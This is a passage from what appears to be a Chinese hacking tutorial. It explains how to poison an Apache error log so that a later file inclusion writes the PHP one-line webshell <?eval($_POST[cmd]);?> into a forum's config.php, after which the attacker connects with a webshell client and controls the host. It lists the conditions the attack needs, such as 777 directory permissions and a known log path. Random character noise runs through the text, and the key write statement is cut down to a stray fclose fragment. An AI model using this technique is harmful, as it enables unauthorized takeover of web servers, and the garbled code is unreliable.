因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

& {, R& B# l9 I$ s, m+ W4 E<?eval($_POST[cmd]);?> ' V0 @2 `. Z8 D7 y* ]1 `
I0 b% J3 i( U( C7 a) e s
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
$ a) y7 Y* I1 t# Ofopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 " J. S* O& ~) X8 a3 ]( ~( O( Y0 g

fclose($fp);?> //在config.php里写入一句木马语句 " v# Y. E7 {6 m# H! v3 j; ?+ e
# a/ P: k5 G& C; O我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。 + `! ~' g" a% q* \4 r5 E8 D8 E9 H

这样就错误日志里就记录下了这行写入webshell的代码。

直接用lanker的客户端一连，主机就是你的了。 [' z3 \, a- o

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
